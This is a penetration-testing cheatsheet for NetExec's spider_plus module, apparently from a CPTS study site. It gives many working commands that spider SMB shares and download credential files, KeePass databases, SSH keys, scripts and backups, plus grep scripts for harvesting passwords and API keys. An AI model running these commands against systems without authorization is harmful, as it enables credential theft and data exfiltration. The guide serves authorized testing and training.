TOOL^:Tools

NetExec - SpiderPlus

NetExec has two main spider modules:

intermediateupdated 2026-08-10NetExec · PowerShell
#tools

NetExec Spider Module Guide - Downloading Files from SMB Shares

Spider Modules Overview

NetExec has two main spider modules:

  • spider_plus - Modern, feature-rich (recommended)
  • spider - Legacy module (deprecated)

Spider Plus Module Deep Dive

1. Basic Spider Usage (List Files Only)

# Spider all shares (read-only mode - no downloads)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus

# Spider with null/guest session
nxc smb 10.10.11.51 -u '' -p '' -M spider_plus
nxc smb 10.10.11.51 -u 'guest' -p '' -M spider_plus

# Spider specific share
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o SHARE=ShareName

Output Location: Results saved to /tmp/nxc_spider_plus/<IP>_<timestamp>.json

2. Downloading Files

Download All Files

# Enable download mode (downloads everything!)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false

# Downloads saved to: /tmp/nxc_spider_plus/<IP>/

⚠️ Warning: This downloads ALL accessible files. Use filters to limit!

3. Filtering Options

Filter by File Extension

# Download only specific file types
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=txt,doc,docx,pdf

# Common useful extensions
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=txt,pdf,docx,xlsx,xml,config,conf,ini,ps1,bat,cmd

# Password files and sensitive data
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=txt,xml,config,ini,kdbx,key,pem

# Scripts and code
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=ps1,bat,cmd,vbs,js,py,sh

Filter by File Size

# Download files within size range (in bytes)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=52428800

# Small files only (under 10MB)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=10485760

# Exclude empty files
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false MIN_FILE_SIZE=1

Size Reference:

  • 1 MB = 1,048,576 bytes
  • 10 MB = 10,485,760 bytes
  • 50 MB = 52,428,800 bytes
  • 100 MB = 104,857,600 bytes

Filter by Pattern (Filename Matching)

# Download files matching a pattern
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false PATTERN=password

# Multiple patterns (comma-separated)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false PATTERN=password,admin,secret,credential,backup

# Case-insensitive pattern matching (default behavior)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false PATTERN=pass

Exclude Folders

# Exclude specific directories
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXCLUDE_DIR=Windows,Program Files

# Exclude common system folders
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o EXCLUDE_DIR="Windows,Program Files,Program Files (x86),$Recycle.Bin"

4. Advanced Filtering Combinations

Hunt for Passwords and Credentials

# Download credential-related files
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=password,pass,pwd,credential,cred,secret,admin,backup,config \
     EXT=txt,xml,config,ini,conf,kdbx,key,pem,ppk \
     MAX_FILE_SIZE=10485760

# Download KeePass databases
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     EXT=kdbx,kdb

# Download SSH keys
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=id_rsa,id_dsa,id_ecdsa,id_ed25519 \
     EXT=pem,key,ppk

Hunt for Scripts and Configuration

# Download scripts and configs
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     EXT=ps1,bat,cmd,vbs,sh,py,config,conf,ini,xml,json \
     MAX_FILE_SIZE=5242880

# PowerShell scripts only
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     EXT=ps1,psm1,psd1

Hunt for Documentation

# Download documents
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     EXT=doc,docx,pdf,txt,rtf,odt,xls,xlsx \
     MAX_FILE_SIZE=52428800

# Small text files only (README, notes, etc.)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     EXT=txt,md \
     MAX_FILE_SIZE=1048576

Hunt for Backup Files

# Download backup files
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=backup,bak,old,copy \
     EXT=bak,zip,7z,rar,tar,gz,old

# Archive files
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     EXT=zip,7z,rar,tar,gz,bz2 \
     MAX_FILE_SIZE=104857600

5. Complete Spider Workflow

Phase 1: Reconnaissance (No Download)

# Step 1: Identify accessible shares
nxc smb 10.10.11.51 -u 'username' -p 'password' --shares

# Step 2: Spider to see what's available (read-only)
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus

# Step 3: Review the JSON output
cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.'

# Step 4: Analyze file types and names
cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.[] | .name' | sort -u

Phase 2: Targeted Download

# Based on reconnaissance, download specific files

# Example: Found interesting configs
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     SHARE=IT_Share \
     EXT=config,conf,xml,ini \
     MAX_FILE_SIZE=5242880

# Example: Found password files
nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=password,credential \
     MAX_FILE_SIZE=1048576

Phase 3: Post-Download Analysis

# Navigate to download location
cd /tmp/nxc_spider_plus/10.10.11.51/

# Find all downloaded files
find . -type f

# Search for passwords in files
grep -r -i "password" .
grep -r -i "pass" . | grep -v "Binary"

# Search for usernames
grep -r -i "username" .
grep -r -i "admin" .

# Search for IP addresses
grep -r -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" .

# Search for email addresses
grep -r -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" .

# List files by size
find . -type f -exec ls -lh {} \; | sort -k5 -h

# Find recently modified files
find . -type f -mtime -30 -ls

6. Spider Plus All Options Reference

nxc smb <target> -u <user> -p <pass> -M spider_plus -o <OPTIONS>
OptionDescriptionExample
READ_ONLYIf false, downloads files (default: true)READ_ONLY=false
SHARETarget specific shareSHARE=C$
EXCLUDE_DIRExclude directories (comma-separated)EXCLUDE_DIR=Windows,Temp
MAX_FILE_SIZEMax file size in bytes (default: 51200)MAX_FILE_SIZE=52428800
MIN_FILE_SIZEMin file size in bytesMIN_FILE_SIZE=1
EXTFile extensions (comma-separated)EXT=txt,pdf,docx
PATTERNFilename pattern matchPATTERN=password,admin
EXCLUDE_EXTSExclude extensionsEXCLUDE_EXTS=exe,dll,sys

7. Practical Examples

Example 1: Initial Quick Recon

# First pass - just enumerate
nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus

# Check results
cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.[].name' | grep -i password

Example 2: Download Interesting Files

# Download files with "password" or "config" in name
nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=password,config,credential,backup \
     EXT=txt,xml,ini,config,conf \
     MAX_FILE_SIZE=10485760

# Check what was downloaded
ls -lah /tmp/nxc_spider_plus/10.10.11.51/

Example 3: Specific Share Hunting

# Target the SYSVOL share (often contains scripts)
nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \
  -o READ_ONLY=false \
     SHARE=SYSVOL \
     EXT=bat,cmd,ps1,vbs,xml

# Target NETLOGON share
nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \
  -o READ_ONLY=false \
     SHARE=NETLOGON \
     EXT=bat,cmd,ps1,vbs

Example 4: Large Scale Data Exfiltration

# Download all office documents (be careful with size!)
nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \
  -o READ_ONLY=false \
     EXT=doc,docx,xls,xlsx,ppt,pptx,pdf \
     MAX_FILE_SIZE=52428800 \
     EXCLUDE_DIR="Windows,Program Files"

# Monitor download progress
watch -n 5 'du -sh /tmp/nxc_spider_plus/10.10.11.51/'

Example 5: Multiple Hosts

# Spider multiple hosts (saves to separate folders)
nxc smb 10.10.11.0/24 -u 'jsmith' -p 'Summer2024!' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=password \
     EXT=txt,xml,config \
     MAX_FILE_SIZE=5242880

# Results organized by IP
ls -lah /tmp/nxc_spider_plus/

8. Pro Tips & Best Practices

Performance Tips

# Use MAX_FILE_SIZE to avoid huge files
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=10485760

# Use EXCLUDE_DIR to skip system folders
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o EXCLUDE_DIR="Windows,Program Files,$Recycle.Bin"

# Target specific shares to reduce scope
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o SHARE=Users

OPSEC Considerations

# Start with read-only enumeration
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus

# Download only specific, small files to reduce network traffic
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=password \
     EXT=txt \
     MAX_FILE_SIZE=1048576

# Be aware: Downloads create access logs on the target

Organizing Downloads

# Create organized workspace
mkdir -p ~/pentest/target/smb_loot
cd ~/pentest/target/smb_loot

# Run spider
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o READ_ONLY=false

# Move from /tmp to your workspace
mv /tmp/nxc_spider_plus/10.10.11.51 ./

# Organize by file type
cd 10.10.11.51
mkdir configs scripts documents
find . -name "*.config" -o -name "*.xml" -o -name "*.ini" | xargs -I {} mv {} configs/
find . -name "*.ps1" -o -name "*.bat" -o -name "*.cmd" | xargs -I {} mv {} scripts/
find . -name "*.doc*" -o -name "*.pdf" -o -name "*.txt" | xargs -I {} mv {} documents/

9. Post-Spider Analysis Scripts

Quick Grep for Sensitive Data

#!/bin/bash
# save as analyze_spider.sh

TARGET_DIR="/tmp/nxc_spider_plus/10.10.11.51"

echo "[+] Searching for passwords..."
grep -r -i "password\s*=" $TARGET_DIR 2>/dev/null | grep -v "Binary"

echo "[+] Searching for usernames..."
grep -r -i "username\s*=" $TARGET_DIR 2>/dev/null | grep -v "Binary"

echo "[+] Searching for API keys..."
grep -r -i "api_key\|apikey\|api-key" $TARGET_DIR 2>/dev/null | grep -v "Binary"

echo "[+] Searching for connection strings..."
grep -r -i "connection.*string\|server=\|database=" $TARGET_DIR 2>/dev/null | grep -v "Binary"

echo "[+] Searching for private keys..."
find $TARGET_DIR -type f -exec grep -l "BEGIN.*PRIVATE KEY" {} \;

echo "[+] Files containing 'password':"
find $TARGET_DIR -type f -exec grep -l -i "password" {} \; | head -20

Generate File Inventory

#!/bin/bash
# save as inventory.sh

TARGET_DIR="/tmp/nxc_spider_plus/10.10.11.51"

echo "[+] File type distribution:"
find $TARGET_DIR -type f | sed 's/.*\.//' | sort | uniq -c | sort -rn

echo -e "\n[+] Largest files:"
find $TARGET_DIR -type f -exec ls -lh {} \; | sort -k5 -hr | head -10

echo -e "\n[+] Recently modified files:"
find $TARGET_DIR -type f -mtime -30 -exec ls -lh {} \; | head -10

echo -e "\n[+] Files with interesting names:"
find $TARGET_DIR -type f | grep -iE "(password|config|admin|secret|credential|backup|key)"

10. Common Issues & Solutions

Issue: Permission Denied

# Some files may not be readable
# Solution: Spider will skip them and continue

# Check spider_plus JSON for access denied files
cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.[] | select(.error != null)'

Issue: Too Many Files

# If spider returns thousands of files:
# Solution: Use more specific filters

# Count files before downloading
cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '. | length'

# Filter more aggressively
nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus \
  -o READ_ONLY=false \
     EXT=txt,xml \
     PATTERN=password \
     MAX_FILE_SIZE=1048576

Issue: Finding Downloaded Files

# Default location:
/tmp/nxc_spider_plus/<TARGET_IP>/

# Spider metadata (JSON):
/tmp/nxc_spider_plus/<TARGET_IP>_<timestamp>.json

# Find all spider directories
find /tmp/nxc_spider_plus/ -type d

Quick Reference Card

TaskCommand
List files onlynxc smb <ip> -u <user> -p <pass> -M spider_plus
Download all filesnxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false
Download specific typesnxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false EXT=txt,pdf
Download by patternnxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false PATTERN=password
Limit file sizenxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=10485760
Specific sharenxc smb <ip> -u <user> -p <pass> -M spider_plus -o SHARE=Users
Exclude foldersnxc smb <ip> -u <user> -p <pass> -M spider_plus -o EXCLUDE_DIR=Windows,Temp
View JSON outputcat /tmp/nxc_spider_plus/<ip>_*.json | jq '.'
Find passwords in filesgrep -r -i "password" /tmp/nxc_spider_plus/<ip>/

Real-World Hunting Scenarios

Scenario 1: Found Valid Low-Priv Credentials

# Step 1: What can we access?
nxc smb 10.10.11.51 -u 'jsmith' -p 'pass' --shares

# Step 2: List everything (no download yet)
nxc smb 10.10.11.51 -u 'jsmith' -p 'pass' -M spider_plus

# Step 3: Hunt for creds in configs
nxc smb 10.10.11.51 -u 'jsmith' -p 'pass' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=password,credential,config \
     EXT=xml,config,ini,txt \
     MAX_FILE_SIZE=2097152

# Step 4: Analyze
cd /tmp/nxc_spider_plus/10.10.11.51
grep -r -i "password\|credential" .

Scenario 2: Lateral Movement via Shares

# Download scripts to find hardcoded creds
nxc smb 10.10.11.0/24 -u 'jsmith' -p 'pass' -M spider_plus \
  -o READ_ONLY=false \
     EXT=ps1,bat,cmd,vbs \
     SHARE=SYSVOL

# Search scripts for credentials
find /tmp/nxc_spider_plus/ -name "*.ps1" -exec grep -H "password\|credential" {} \;

Scenario 3: Backup File Discovery

# Find and download backups
nxc smb 10.10.11.51 -u 'backupuser' -p 'pass' -M spider_plus \
  -o READ_ONLY=false \
     PATTERN=backup,bak \
     EXT=zip,7z,bak,old,backup \
     MAX_FILE_SIZE=104857600

# Extract archives
cd /tmp/nxc_spider_plus/10.10.11.51
find . -name "*.zip" -exec unzip -d extracted {} \;

Remember: Always have proper authorization before downloading files from systems you don’t own!

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.